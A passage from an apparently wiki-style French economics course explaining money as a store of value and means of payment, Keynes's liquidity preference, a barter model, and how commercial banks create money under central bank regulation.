même rôle peut être accompli par des actifs financiers (actions, obligations) et même par des actifs réels (immobilier), tous ces éléments-là peuvent servir d'éléments de valeur. Toutefois, aussi bien les actifs financiers que réels se différencient de la monnaie d'une façon fondamentale, tous peuvent subir une perte ou un gain en capital, c'est une variation positive de la valeur nominale de l'actif. Respectivement, une perte en capital est une variation négative de la valeur nominale des actifs. Aussi, un appart' acheté à Londres pour 100k £ en 1997, revendu 200k £ début 2004, a connu un gain dans le K de 100k £. Respectivement, une action "worldcom" achetée 100 $US fin 1999, revendue 10 $US début 2000 a connu une perte en capital de 90 $US. La monnaie ne peut pas connaître ce type de phénomène : un billet de 50 € aura toujours demain une valeur nominale de 50 €. On remarque bien que la notion de pertes ou de gains en capital n'a rien avoir avec l'érosion du pouvoir d'achat due à l'inflation. Si les taux doublent, la monnaie sera affectée exactement comme les autres actifs. La vraie différence est que la monnaie ne peut pas connaître de perte ou de gains en K. De cette difference entre la monnaie et autre actif financier, découle la logique d'une demande de monnaie que "Keynes" avait très bien analysée. La question posée à " ''JM Keynes'' " fut la suivante : ''Pourquoi des gens detiendraient-il de la monnaie comme réserve de valeur alors qu'il existe à côté de la monnaie, d'autres actifs (obligations) qui portent intérêt ?'' La question était d'une importance cruciale en 1936, puisque ce qui était en cause était la possibilité d'un chômage massif due à une crise de surproduction typiquement, on faisait allusion à la crise de 1929). L'hypothèse retenue était que, pour des raisons inconnues, les consommateurs consommaient moins, les économistes qui précédaient " Keynes" tenaient le raisonnement suivant : si les gens consomment moins, c'est evidemment de façon arithmétique, qu'ils épargnent plus. Comme personne n’est assez fou pour épargner sous forme de monétaire quand il existe des actifs financiers qui porte intérêt, l'épargne va s'investir en obligation, c'est à dire croissance des investissements. Donc si la consommation baisse, l'investissement augmente, il n'y a aucune raison de surproduction. À cela, « ''Keynes'' » répondait que les agents pouvaient épargner sous forme monétaire, donc la baisse de la consommation ne serait pas récompensée par un accroissement de l'investissement. Restait pour " ''Keynes'' " de fournir l'explication à pourquoi des gens gardent leurs épargnes sous forme de monnaie qui ne rapporte rien alors qu'il existe des actifs rémunérateurs. En répondant à cela, « Keynes » a fait faire un bond à la théorie économique : « Théorie de la préférence de la liquidité “. Pour aborder cette théorie, il convient de préciser ce que l'on entend par « ''obligation'' ». Quelques fois les obligations sont appelées « valeurs à revenues fixes" et ce nom est tout à fait approprié. Consideront une PME (cela peut être également un État) disons EDF, qui émet aujourd'hui une obligation à 1000€, ce chiffre étant son prix, que l'ont appelle en fait le "Cours d'une obligation". Cette obligation est émise pour une durée fixée à la vente, disons 30 ans. Cette obligation rapporte disont 10%, cela signifie que le porteur de l'obligation va recevoir chaque 1000€x10% soit 100€ jusqu'a échéance de l'obligation, pendant 30 ans. 100 €, c'est le revenu de l'obligation et dans la majorité des cas, c'est la seule chose qui soit fixe. En fait, deux situations peuvent se présenter : - Celui qui acquit l'obligation la garde pendant 30 ans, on dit qu'il « la porte à maturité », et au bout de 30 ans, la ramène à l'émetteur qui la lui remboursera 1000 €. Maintenant cette situation est improbable, que la durée de vie de l'obligation est longue. Il est possible que le détenteur est besoin d'argent au bout de 7 où 8 ans, bien avant la maturité de l'obligation. On entre alors dans le 2e cas. - Le détenteur de l'obligation ne peut pas se retourner vers la PME, car 30 ans ne se sont pas écoulé, EDF refuse donc le remboursement. Dés lors si le porteur a besoin d'argent, il va devoir la vendre en bourse, mais plus n'affirme qu'il va la vendre 1000 €. Supposons qu'au moment où l'agent vend son obligation, la SNCF émet des obligations sur 30 ans avec un taux d'intérêt à 20 %, cela signifie que chaque année, elle va rapporter à son détenteur 1000 € x20% soit 200 €. À partir de là, plus personne ne voudra acheter à 1000 € l'obligation d'EDF qui ne rapporte que 100€ par an. Ainsi le prix de l'obligation EDF va baisser, jusqu'au point on un agent disposant de 1000€ soit indifférent de l'achat d'une obligation SNCF où EDF, pourvu que le rapport soit le même. Si l'obligation d'EDF va baisser de 500 €, de telle sorte que quelqu'un ayant 1000 € puisse acheter une obligation SNCF qui rapporte 200 € par an où deux obligation EDF qui rapporte 100 € par an chacune. Ainsi à la bourse, le cour d'une obligation de façon inversement proportionnelle au taux d'intérêt. Dans notre exemple, le taux à doublé (10% --> 20%) et le cour de l'obligation à était divisé par deux. Dans cette hypothèse, l'agent qui aurait détenu des obligations EDF et obligé de s'en séparer dans les circonstances de l'exemple, aurait perdu 500 € par obligation, on parle de perte en capital. C'est ce risque qui justifie qu'un agent raisonnable garde de la monnaie comme instrument d'épargne. En effet, la monnaie ne peut pas subir de perte en capital. Pour être plus précis, une perte en K, c'est une baisse de la valeur nominale de l'actif, donc dans notre exemple de 1000 à 500 €, la monnaie est à l'abri de ce risque en ce sens que la valeur nominale d'un billet de 50 € sera toujours 50 €. Il est important de noter que la perte de K n'a rien avoir avec. Alternativement, une baisse des taux d'intérêt entraînerait une hausse du cour des obligations donc un gain en K pour les détenteurs. Par exemple, lorsque la Pologne a décidé de d'adherer à l'union €, elle fut confrontée à un taux d'inflation + intérêt très élevé. On montrera plus bas qu'en règle générale les taux d'intérêt + inflation varient de la même manière. La Pologne fut dans l'obligation de les faire baisser massivement, donc les gens informés en ont déduit que le taux d'intérêt aller fortement baisser et logiquement que le cour des obligations polonaise aller fortement augmenter. Ils s'en sont portés acquéreurs avec de très belles plus-values en peu de temps, lorsque les taux d'intérêt ont baissé. La conclusion est qu'il n'est pas déraisonnable de garder de la monnaie en tant qu'épargne. Ont le fera que si on pense que dans le futur lle taux d'intérêt va monter, dans ce cas détenir des obligations entraînera une perte K. Sinon « Keynes » lui même, sinon ses successeurs sont allé un peu plus loin en remarquant que dans les économies modernes, il existe un taux d'intérêt tellement bas que tous les agents vont anticiper sa hausse. Si l'ont se trouve dans cette situation, personne ne voudra acheter d'obligation, car c'est l'assurance d'une perte en K. Toute l'épargne sera détenue en monnaie, cela s'appelle la « Trappe à liquidité ». On vient donc de voir la justification de détention de monnaie face à des obligations. Les choses se compliquent beaucoup si aux obligations, on ajoute d'autres actifs financiers comme les actions, voire des actifs réels (immobilier). Ainsi, on admet en principe qu'une politique monétaire accommodante provoque en général, une hausse des cours des actions en même temp qu'une hausse des actifs réelle. Pourtant, on n'observe point ce phénomène ni aux USA, ni au JP, pays où la politique monétaire est particulièrement laxiste. Il y a un 2e phénomène en jeux, on verra plus bas que dans les pays ou la population vieillie, en général, le cour des actions et actifs réels ont tendance à baisser. On a donc deux éléments contradictoires qui invite à se placer en action où le contraire. Cela explique que certain gérant de portefeuille se place massivement en action, tandis que d'autres reste éloigné. Qaud ont connaît les sommes impliqués, on se rend compte qu'une erreur de jugement peut avoir des conséquences catastrophiques sur tous les agents. C'est particulièrement vrai aux USA où les caisses de retraite sont investies en actifs financiers. Reste à discuter la fonction principale, celle qui définit la monnaie, le fait d'être « Moyen de paiement » : Pour expliquer cette fonction, on part d'une économie imaginaire, qui existe dans un monde sans monnaie, c'est à dire où les biens s'échangent directement les uns aux autres, on peut appeler cela une économie de troc. Il existe une infinité de débat historique concernant un point de savoir comment est-on passé d'une économie de troc à une économie monétaire complexe. Les historiens n'envisagent pas les choses de la même façon. Pour notre propos, ont va avancer en plusieurs étapes : d'abord construire une économie de troc complètement imaginaire et définir les règles de son fonctionnement. Pour simplifier au maximum, on supposera qu'il n'y a pas de production, les agents détiennent des biens dont l'origine est inconnue. Le propos porte uniquement sur le problème des échanges. Dans un premier temps, définissons les règles de l'échange, il y en a 3 : ''- Loyauté :'' On veut dire que lorsque 2 agents se rencontrent et procèdent à un échange, la valeur des biens cédés doit être égale à ma valeur reçue par les 2 agents. '' - Satisfaction :'' Cette condition implique qu'un agent accepte un bien que dans la mesure où il le demande, et en quantité non supérieure a ce qu'il demande. Alternativement, un agent n'offre un bien qu'à la condition qu'il soit prêt à le vendre et dans une quantité non supérieure à la quantité prêt à céder. ''- Complètude :'' Cela signifie simplement qu'il doit exister un mécanisme d'échange qui permet aux agents de réaliser leurs plans sitôt que l'équilibre est atteint. On construit une economie fictive qui compte quatre agents 1,2,3,4 et quatre biens A,B,C,D. <nowiki>1 2 3 4 A 0 1 0 0 B 0 0 1 0 C 0 0 0 1 D 1 0 0 0</nowiki> Cette situation représente l'état de l'économie quand des agents arrivent sur le marché. À ce moment-là, 1 possède zéro unité de A, zéro unité de B, zéro de C et une unité de D. De la même façon, quand 2 arrive sur le marché, il possède une unité de A, zéro unité de B, zéro de C et zéro unité de D.Le tableau suivant représente le désir des agents : <nowiki>1 2 3 4 A 1 0 0 0 B 0 1 0 0 C 0 0 1 0 D 0 0 0 1</nowiki> Le tableau se lis de la facon suivante : lorsqu'il arrive sur le marché, 1 désire une unité de A et rien du reste. De la même facon, 2 désire une unité de B et rien du reste. Il faut verifier qu'il existe un equilibre de cet économie. Suposont que le prix des quatre biens soit egale à un pour chacun d'entre eux donc : Pa=Pb=Pc=Pd=1. Il faut vérifier l'équilibre de cet économie au niveau des agents et au niveau des marchés : Par « équilibre au niveau des agents » ont veut dire que pour chaque agents, la valeur de ce qu'il offre est égale à la valeur de ce qu'il demande. Prenons l'agent 1, il arrive sur le marché avec une unité de D qu'il est prêt à vendre. La valeur de cette vente est égale à la valeur de D multipliée par son prix donc 1x1=1. Maintenant l'agent 1 désire une unité de A, la valeur de son achat est égale à la quantité de AxP soit 1x1=1, ainsi pour l'agent 1, la valeur de ce qu'il offre est égale à la valeur de ce qu'il demande, on dit que l'agent vérifie sa contrainte de budget. L'agent 2 est vendeur d'une unité de bien A pour une valeur de 1x1=1 et il est demandeur d'une unité de bien B pour une valeur de 1x1=1, lui aussi vérifie sa contrainte de budget. Donc du point de vue des agents, l'équilibre est atteint ! Mais cela ne suffit pas à garantir qu'un échange d'équilibre existe. Il faut vérifier une 2e condition qui est l'équilibre par marché, équilibre étant défini par l'égalité entre la quantité offerte et la quantité demandée. Prenons le marché du bien A. sur ce marché une unité demandée par l'agent 1, donc demande totale du bien A = une unité. Toujours pour le bien A, une unité est offerte par l'agent 2, ainsi sur le marché du bien A, la quantité offerte = la quantité demandée, A est donc en équilibre. Si on considère le marché du bien B, il y a que l'agent 2 qui en demande une unité, la demande totale de B est donc 1. Toujours pour le bien B, l'agent 3 en propose une unité, la quantité offerte du bien = une unité = la quantité demandée. Le marché du bien B est donc en équilibre. Ainsi dans cet exemple, chaque agent ne possède qu'une unité d'un seul bien et ne veut qu'une unité d'un bien qu'il n'a pas. Le tableau suivant résume la situation : <nowiki>1 2 3 4 A +1 -1 0 0 B 0 +1 -1 0 C 0 0 +1 -1 D -1 0 0 +1</nowiki> Ce tableau ne fait que reprendre les deux tableaux précédents. Pour chaque agent, un signe « + » placé devant un nombre désigne une demande et le signe " - " désigne une offre. L'agent 1 offre une unité de D, et de mêmes façons 1 demandent une unité de A. L'agent 2 se pointe avec une unité de A et demande une unité de bien B. Or ont a vu que tant du point de vue des agents que de celui des marchés, l'équilibre est réalisé, donc le tableau devrait faire apparaître la structure des échanges. Or, l'examen du tableau montre que l'économie est inactive, aucun échange ne pouvant se produire. Considérant par exemple la paire d'agents 1 et 2. L'agent 1 demande du bien A que fournit l'agent 2. Mais 1 fourni du bien D dont l'agent 2 ne veut pas, en effet il demande only du bien B, donc l'échange n'aura pas lieu. Considéreront maintenant le couple 3 et 4. L'agent 3 peut recevoir du bien C que possède l'agent 4, mais en échange, il ne peut fournir que du bien B dont l'agent 4 ne veut pas, l'échange n'aura donc pas lieu. On vérifie que cette impossibilité s'étend à tous les agents. Or comme on l'a vue, l'échange était un échange d'équilibre pourtant, il ne peut se réaliser. Nous pouvons en tirer deux réflexions : L'impossibilité de l'échange n'a rien avoir avec un éventuel désaccord sur les prix, au contraire, les vecteurs prix vérifient les contraintes de budget de tous les agents. L'impossibilité de l'échange ne vient pas non plus du fait que sur les marchés il y aurait un déséquilibre en ce sens que la quantité offerte serait différente de la quantité demandée, on a vu que ce n'était pas le cas. Clairement pour sortir de l'impasse il faut relâcher une des trois conditions énoncées auparavant. Relâcher la condition 3 n'aurait pas beaucoup de sens, en absence de processus d'échange ne garantit plus que les agents préviendront à realiser les échanges qu'ils projetaient, mais alors ont vois mal l'interêt du processus d'échange. De la même façon, relâcher la condition 1 n'a pas de sens puisque cela supposerait que quelqu'un accepte de céder quelque chose pour rien, ce qui ne respecte pas les conditions minimales de la réalisation d'un échange. En réalité, la seule condition rejetable est la condition 2 (satisfaction) : <nowiki>1 2 3 4 A 1 0 0 0 B 0 +1 0 +-0 C 0 0 1 0 D 0 +-1 0 +1</nowiki> Sur le tableau, un chiffre souligné signifie que l'agent a réalisé sa demande pour le bien en question. Un chiffre avec les deux signe + et - signifie que l'agent a accepté un bien qu'il ne demander pas à seule fin de pouvoir le rechanger, les autres conventions de signes demeures. Prenons l'agent 1, il appartient à la paire d'agents 1 et 2. Donc, l'agent 2 a reçu une unité de A, et sa demande est donc satisfaite. en revanche, l'agent 2 lui, demande toujours une unité de B, et a reçu de l'agent 1, une unité du bien D qu'il ne veut pas, mais qu'il a accepté. Pour la paire 3 et 4, l'agent 3 a reçu de l'agent 4 une unité de C qu'il demandé, sa demande est donc satisfaite. En revanche, l'agent 4 demande toujours du bien D, et a reçu une unité de B de l'agent 3, dont il ne sait quoi faire, d'où le signe + et -. La solution est maintenant évidente, on rapproche les agents 2 et 4, et remarque que l'agent 2 désire une unité de B, dont l'agent 4 dispose et ne sait que faire. De la même façon, l'agent 4 réclame une unité de D que détiens l'agent 2 est dont il na pas l'usage, ainsi l'agent 2 va donner une unité de bien D à 4 qui verra sa demande satisfaite. En retour, l'agent 4 va donner une unité B à 1, et tout est fini. De l'exemple précédent, on peut faire ressortir deux conclusions importantes : - Pendant un bref instant, les biens B et D ne furent détenus que pour servir de moyen d'échange, pendant un instant ils sont devenus monnaie. - Dans notre exemple, se sont les biens B et D qui on servi de monnaie, mais cela n'est due qu'au schéma de rencontre des agents. On se persuadera facilement que si au lieu de se rencontrer par la double paire 1,2 puis 3,4, les agents c'était rencontré différemment (e.g 1,3 et 2,4) se sont d'autres biens qui auraient servi de monnaie. De la on tire une conclusion majeure, a priori, le bien qui sert de monnaie, n'a pas de caractéristique spécifique, la seule nécessaire, c'est d'être accepté dans l'échange. En bref, tous biens peut servir de monnaie sitôt qu'il est admis comme tel. De la tirant une conclusion, puisque tous biens peut servir de monnaie sitôt qu'il est accepter comme tel du point de vue collectif, il est rationnel d'utiliser pour monnaie le bien le moins coûteux à produire, idéalement, le papier monnaie. Effectivement, dans toutes les économies modernes, la monnaie est constituer de billets et de pièces (monnaie fiduciaire) et de monnaie circulant par vois de chèque, de virement (monnaie scripturale) jusqu'a une forme totalement dématérialisée (monnaie sur le net). Cette dématérialisation de monnaie porte en germe un énorme problème, fondamentalement, ni la monnaie fiduciaire, ni la scripturale ne coûte rien à produire (NB. le coût de la monnaie fiduciaire n'est pas totalement nul, il faut imprimer ! De la même façon, un chèque revient à 1 € à une banque). Pour simplifier on admettra que le coût de production est nul, alors surgit un problème, ont peut produire à coût nul un élément permettant d'acheter des biens, dans ces conditions, qu'est-ce qui va limiter la production de monnaie ? ''' == ''''' I) Premier elements pour une theorie de l'offre de monnaie. ''''' == La discussion précédente soulevait un paradoxe, il existe un bien « la monnaie » dont le coût de production est nulle, permettant d'acheter des biens, mais celui où ceux qui la produise, ne seront-ils pas tenté d'en produire une quantité infinie ? Pour répondre, il faut passer par un double détour. Le premier prend en compte le prix de la monnaie, le second un jeu coopératif emprunté à la théorie mathématique des jeux. '''1 - Le prix de la monnaie et la propriété technique spéciale de la monnaie :''' Ce qui suit est emprunté à l'ouvrage de ''Boris P. Pesek'' & ''Tomas R. Saving'' nommé « ''Money, Wealth and economic theory'' ». L'expression « ''prix de la monnaie'' » a quelques choses de surprenantes, le prix d'un bien est égal à la quantité de monnaie qu'il faut fournir pour avoir une unité de ce bien, dans ces conditions, on voit ce que signifie « ''prix de la monnaie'' ». Pour suivre ''Pesek et Saving'', supposons que dans notre économie, il n'existe qu'un seul bien, la Grue, le prix de la grue, c'est le nombre d'unité de monnaie qu'il faudra donné pour avoir des grues, réciproquement, le prix de la monnaie, c'est le nombre de grues éventuellement inferieur à 1 qu'il faudra donner pour obtenir [..grue/Monnaie..]. Il apparaît donc une symétrie entre le prix d'un bien et le prix de la monnaie, simplement, cette symétrie est fausse. Toujours dans notre exemple, la grue est calculée pour relever une certaine charge, si sont prix double, la charge qu'elle est susceptible de soulever ne changera pas, même chose si le prix était divisé par 2. En d'autres termes, la productivité de la grue est indépendante de son prix, c'est vrai pour tous les biens, sauf la monnaie. Imaginont que le prix de la monnaie double, il faudra deux fois moins de la monnaie pour acheter la même grue, l'inverse dans le cas contraire. C'est la propriété technique spéciale de la monnaie : la productivité de la monnaie est fonction de son prix. ette propriété technique spéciale apporte une conséquence nouvelle. Supposons que la quantité de la monnaie tend vers l'infini, la théorie économique enseigne que quand la quantité du bien tend vers l'infini, son prix tend vers zéro. C'est également vrai pour la monnaie et cela se double d'une conséquence majeure : si le prix de la monnaie de la monnaie est nul, sa productivité est nulle et elle disparaît en tant que monnaie. Si le producteur est un monopole, on peut imaginer qu'il empêchera la quantité de monnaie de tendre vers l'infinie, car cela signifierait que le prix de la monnaie tendra vers zéro donc disparition du monopole. Autrement dit, le monopole à intérêt de de limiter la quantité de monnaie s’il ne veut pas disparaître avec elle. En revanche, les choses deviennent plus subtiles s’il y a plusieurs producteurs de monnaie. '''2 - Intérêt individuel et collectif avec jeux coopératifs :''' Pour traiter la question posée dans ce point, on va avoir recours à un exemple parmi les plus connus de l'économie mathématique qui est le " ''dilemme du prisonnier'' " : Dans un pays totalitaire, 2 opposants sont capturés, mais pour des raisons de pressions internationales, il faut leur faire un procès, au moins officiellement. Prévoyant l'éventualité d'eêtre capturé, les deux opposants se sont juré de ne rien dire. La police les enferme dans deux cellules séparées sans possibilité de communiqué est dit à chacun la chose suivante : "Si lors du procès, aucun de vous ne parle, vous ferez un an de prison chacun, si tous les deux parlez, vous ferez 30 ans de prison chacun, si l'un parme et l'autre pas, celui qui parle est libéré, celui qui n'a pas parlé est fusillé. <nowiki>Parle Parle pas 1 = 30 ans. 1 = Fusillé. Parle : 2 = 30 ans. 2 = Libre. Parle pas : 1 = Libre 1 = 1 ans 2 = Fusillé 2 = 1 ans</nowiki> Cette matrice détermine 4 secteurs : dans le secteur 1, les deux agents parlent, dans le secteur 3, aucun des deux ne parlent, dans le secteur 2 l'agent 1 ne parle pas, l'agent 2 parle, dans le secteur 4, l'agent 1 parle, l'agent 2 ne parle pas. Les résultats sont les suivants : Du point de vue collectif, la stratégie est optimale, la coopération représentée par le fait qu'aucun des deux agents ne parlent, chacun écope d'un an de prison. Mettons-nous à la place de l'agent 1, s'il pense que l'agent 2 va tenir parole, donc se taire, son intérêt à lui est de trahir, donc de parler, dans ce cas-là, il est libre, l'autre fusillé. Mais comme l'agent 2 fait le même raisonnement, les deux vont prendre 30 ans de prison. Autant dire ce qui est vrai au niveau collectif, n'est pas vrai au niveau individuel. Ce type de modélisation explique très bien les éclatements successifs de l'[[O.P.E.P]] À l'origine, le cartel fut créé pour diminuer la production de pétrole et augmenter massivement les prix. À cet effet chaque pays se voit donner un quota de production qu'il ne doit pas dépenser. Collectivement, le système, et les bénéfices des producteurs augmentent. Seulement certain pays, prenons l'[[Iran]], sont interêt à lui est que les autres respectent le quota, de telle sorte que les prix restent élevés, mais qu'en même temp lui dépasse les quotas pour accroître davantage ses bénéfices, et comme tout le monde effectue le même raisonnement, le cartel explose. Ce cas peut également s'appliquer à la monnaie : s’il existe plusieurs producteurs de monnaie, ils vont s'entendre et accepter mutuellement des quotas. Seulement pour des raisons déjà évoquées, personne ne va les respecter et la quantitée de monnaie va croître vers l'infini. Pour empêcher cela, il faut qu'il y est au-dessus des producteurs de monnaie un organe indépendant qui leur sois hiérarchiquement supérieur et qui est les moyens de contrôler la croissance de quantité de monnaie. c'est ce schéma que l'ont trouve dans tous les pays développés, les producteurs de monnaie s'appellent « ''Banque Commeciale'' » (BNP, SG, SMC] tandis que l'organe régulateur s'appelle la « ''Banque centrale'' ». == ''''' II) La creation de monnaie par les banques. ''''' == Une interprétation souvent étendue est que le rôle d'une banque consiste à collecter des dépôts pour les retraités, c'est évidemment faux pour deux raisons : Si les banques ne faisaient que collecter de la monnaie, on pourrait se demander d'où vient cette monnaie-là, car si elle existe, c'est qu'elle fut bien créée par quelqu'un. D'autre part, si les banques ne faisaient que collecter des dépôts, la quantité de monnaie n'augmenterait jamais, et les statistiques monétaires montrent que cette monnaie est en perpétuelle augmentation. La question restera donc posée, comment une banque cree t'elle de la monnaie ? Par une opération de crédit ! Pour prendre le cas le plus simple, nous sommes dans un monde ou il n'existe qu'une seule banque : l'autorisation de découvert que la banque accorde à X, de 100 €, en échange de quoi, l'individu X signe une reconnaissance de dette au profite de la banque, et d'un montant donc, de 100 € : <nowiki>Actif Passif Reconnaissance Compte de de dette de M. X M. X = 100€ De 100€</nowiki> X a donc la possibilitée de tirer des chèques d'un montant de 100 €. Le chèque est un moyen de paiement, il est donc indiscutable que la banque créer 100 € de monnaie. Cependant dans ce schéma, quelque chose est étonnant : Une reconnaissance de dette engage le signataire à payer à une date donnée, une somme donnée, cela signifie qu'au bout d'un délai donné (en général 90 jours) l'individu X va rembourser la banque, donc le bilan se modifie de la façon suivante : <nowiki>Actif Passif Reconnaissance Compte de de dette de M. X M. X = 0€ De 0€</nowiki> En d'autres termes, la création de monnaie par la banque n'était pas définitive, cette monnaie n'a duré que le temps du crédit, à la fin de celui-ci, elle est résorbée est disparaît. Une telle monnaie qui disparaît à la fin du crédit, qui à provoquer son apparition s'appelle « ''monnaie interne'' » ou « i''nside money'' », c'est une composante majeure de la masse monétaire. Deux questions restent posées, si la monnaie est détruite à l'issue de l'opération de crédit, comment se fait'il que la masse monétaire augmente ? Et quel est l'intérêt de la banque dans cette affaire ?. À la première question, on peut apporter une double réponse, d'abord, comme on le verra plus tard la monnaie interne n'est la seule forme de monnaie envisageable, à côté de cette monnaie, résorbée à la fin du crédit existe un autre type de monnaie, dont la création, elle, est définitive. Très logiquement, cela s'appelle de la "''monnaie externe''" ou « ''outside money'' », ce point sera repris plus bas, pour l'instant, on supposera que seule la ''monnaie interne'' existe. Lorsque des crédits viennent à échéance, d'autres sont ouverts ! En moyenne, le volume de crédit nouveau est supérieur au volume des crédits résorbés, si bien que statistiquement, la masse monétaire augmente. La 2e question permet d'introduire une nouvelle terminologie. Dans l'exemple que l'on a vu, l'agent [..] Son compte crédité de 100 €, et signe à l'échange une reconnaissance de dette de 100 €, le tout s'accumulant à échéance. Cela n'est pas tout à fait exact, si l'individu signe bien une reconnaissance de dette de 100 €, la banque va créditer son compte d'un petit peu moins, disont 90 €. À l'échéance la banque recouvrera 100 €, ce qui fait un profit de 10 €. ce profit, exprimé en % s'appelle le ''taux d'escompte'', c'est ce que paye l'agent pour avoir recours au crédit. Comme on le verra plus bas, le taux d'escompte varie beaucoup, il a était multiplié par 10 dans les 20 dernières années. Or, les variations induites dans l'économie par les changements de taux d'escompte peuvent se révéler considérable ! C'est pourquoi une politique de stabilité du taux d'escompte n'est pas forcement à rejeter (NB. On rediscutera de ce point en confrontant la politique de la [[''F.E.D'']], très activiste et celle de l'[[ECB]], beaucoup plus neutre. Tant qu'il n'existe qu'une banque dans le système, on vient d'épuiser en gros tous les problèmes en dehors du taux d'échange. Comme ont la vu précédemment, la banque n'a pas intérêt à laisser augmenter à l'infini la quantité de monnaie, sous peine de disparaître. S’il y a plusieurs banques, la question de la régulation de quantité de monnaie se pose, d'autant plus que dans une économie capitalistique, les banques sont concurrentes entre elles. Si donc un emprunteur se présente à une banque avec un mauvais dossier, et si la banque le rejette, il y a un risque pour qu'il s'adresse à une autre banque, qui, elle est susceptible d'accepter. Comme toutes les banques font le même raisonnement, en l'absence d'une autorité supérieure, les banques vont accorder des crédits à tort et à travers. Par exemple, à la fin des 80' s, les banques nippones avaient prêté des sommes énormes sur des dossiers de spéculation immobilière fumeux; pour se faire une idée, le jardin impérial à [[Tôkyô]], coûtait au M², plus cher que la totalité de la calfornie ! Finalement, la bulle eclata plongeant le Japon dans une spirale déflationniste dont il n'est pas encore sorti. Ainsi, comme le suggérait l'analyse théorique, dés qu'il existe plusieurs banques commerciales en concurrences, il nécessaire de créer une autorité qui puisse réguler la croissance de la quantité de monnaie. Cette autorité, c'est la [[''Banque Centrale'']] (BC). Comment vat-elle procéder ? La première solution, c'est de supprimer les banques commerciales, c'était le cas en union soviétique et certain pays socialistes. En [[URSS]], il n'existait qu'une seule banque, la ''GrosBank'', et tout un ensemble de succursales qui n'avaient aucune autonomie financière, et se contenté d'appliquer les instructions fourni par la ''Grosbank''. Ce système hyper centralisé correspondait à l'économie socialiste, et à fait faillite avec lui. Dans toute économie devellopé, ce système n'a pas sa place. En France et jusqu'au milieu des 80's existait un système connu sous le nom de " ''encadrement de crédit'' ". Dans ce système existaient des banques commerciales indépendantes, mais il était interdit de dépasser de X % le montant des crédits consentis l'an passé. Ce système, plus souple, avait pour principale vertu d'obliger les directeurs de banque à trouver toutes sortes d'astuces pour détourner les réglementations. De ce fait, dans une économie capitalistique, les agents doivent prendres des décisions de façon décentralisé, c'est-à-dire de façon autonome, il appartient donc à chaque banque commerciale de décider de la quantité de crédit qu'elle fait et à qui, mais il appartient à la BC de s'assurer que le nombre de crédit n'augmente pas trop. Tout le problème est de concilier les deux impératifs. La stratégie de la BC va consister à créer un lien de nature modulable entre les banques commerciales et elle-même. Plus précisément, chaque fois qu'une banque commerciale va faire un crédit, elle va devoir se retourner vers la BC, la politique de la BC, c'est la gestion de cette relation. Il existe plusieur raison qui font que lorsque une banque crée du crédit, elle est besoin de la BC : L'agent X ayant besoin de 100 €, à le droit de tirer des chèques jusqu'à concurrence de cette somme, mais il peut tout aussi bien réclamer tout où partie de cette somme en billet. Or, les banques commerciales ne créent pas de billet, seule la BC le fait. Ainsi, si les agents retirent une parti de leurs comptes en billets, la banque va forcement c'est billets auprès de la BC (Dans les moyens de paiement, les billets représentent environ 50 % en 1950, beaucoup moins de nos jours). Ce qui importe, ce n'est pas la quantité, c'est le fait que cette demande, même faible, va obliger la banque commerciale à se retourner vers la BC. La deuxième raison est que, considérant qu'il existe non plus une, mais deux banques commerciales A et B, la banque A n'a qu'un client, l'individu X, et lui a consenti un crédit de 100 €. La banque B, n'a qu'un client Y avec un crédit de 100 €. Supposons que X paye un chèque de 50 € à Y, qui lui, va payer un chèque de 75 € a X. tout naturellement, X va porter son chèque à la banque, idem pour Y, dans la sienne. Si bien qu'a la fin de l'opération, la banque A va se retrouver avec un chèque de 75 € en provenance de la banque B et la B avec un chèque de 50 € en provenance de la banque A. Comme le chèque est un moyen de paiement, la banque A soit 50 € à B qui lui en doit 75 €. Une première manoeuvre, consiste à [...] que le solde; il apparaît en effet que la banque B doit 25 € à A. Cette opération s'appelle « ''Compensation'' » et a lieu en principe tous les jours en milieu d'après-midi. Si le calcul est facile à faire, un problème se pose : comment la banque B va'-elle payer sa dette ? : Il est impossible, pour la banque B, de faire un chèque sur elle-même, le seul résultat, serait de reporter le problème. Pour que le règlement ait lieu, il faut que deux conditions existent : La monnaie utilisée dans le paiement doit être acceptée dans les deux banques, elle ne doit être produite ni par l'une ni par l'autre ; naturellement, c'est la monnaie de la BC qui va servir à ce règlement. Ainsi la banque déficitaire en compensation, va se retourner vers la BC pour obtenir la monnaie dont elle a besoin pour régler sont déficit de compensation. Cela crée une nouvelle relation entre la BC et les banques commerciales. Enfin, la BC peut imposer par la loi à toute banque commerciale désireuse de faire un des crédits de détenir à la BC, une fraction donnée donnée de ces crédits. Cette fraction s'appelle le « ''Taux de réserve obligatoire'' » et est fixée souverainement par la BC. Il y a donc un faisceau de réseaux qui permettent de postuler l'existence d'une relation entre la BC et les banques commerciales crée de la monnaie, elles vont avoir besoin de monnaie centrale (la monnaie de la BC). On arrive maintenant à la 2e question posée au de par, suivant qu'elle modalité la BC va t'elle fournir de la monnaie centrale aux banques commerciales ? Essentiellement il existe deux modalités dont la logique est totalement différente, même si l'apparence est connue. L'une s'appelle le « ''réescompte'' » ou « ''Open Market'' ». Le réescompte est la réplique d'une opération d'escompte, mais conduite entre les banques commerciales et la BC. Au lieu que cela soit entre les banques commerciales et le public. Dans le réescompte, une banque commerciale va vendre à la banque centrale une reconnaissance de dette, qu'elle a elle-même obtenue en ouvrant un crédit à un particulier. De la même façon, la BC va fournir de la monnaie centrale en quantité légèrement inférieure à la valeur faciale de la reconnaissance de dette. L'écart, exprimé en % s'appelle le « ''Taux de reescompte'' ", c'est un escompte au 2e degré. Il est tout à fait apparent que plus le taux de réescompte est élevé, plus sera faible la quantité de monnaie centrale que recevra la banque commerciale, en contrepartie d'une reconnaissance de dette de valeur donnée. Alternativement, plus le taux de réescompte sera élevé plus sera élevé la valeur des reconnaissances de dettes que les banques commerciales doivent céder à la BC pour obtenir un montant de monnaie centrale donné. Or ces reconnaissances de dette forment le profit de la banque et plus elle en cède, plus son profit diminue. Ainsi en augmentant le taux de réescompte, qu'elle contrôle souverainement, la banque centrale pèse sur le profit de la banque commerciale, et peut donc l'inciter à faire moins de crédits. Toutefois, le point important est ailleur, dans le réescompte, pour autant que la banque commerciale accepte de payer le taux de réescompte, si élevé est-il, alors qu'elle est certaine de trouver auprès de la BC toute la monnaie centrale dont elle à besoin, au moment désirer. En d'autre terme, au réescompte, une banque veut faire des crédits n'a pas à se préoccuper de la quantité, elle effectue son crédit, calcule le montant de monnaie centrale nécessaire, et se retourne vers la BC en étant certaine d'obtenir la monnaie centrale dont elle a besoin. Dans ce schéma, l'initiative de la création monétaire appartient à la banque commerciale, la BC intervient après coup, au réescompte, elle peut pénaliser la banque commerciale par un taux de réescompte élevé, mais n'a aucun moyen d'empêcher la création de monnaie. C'est 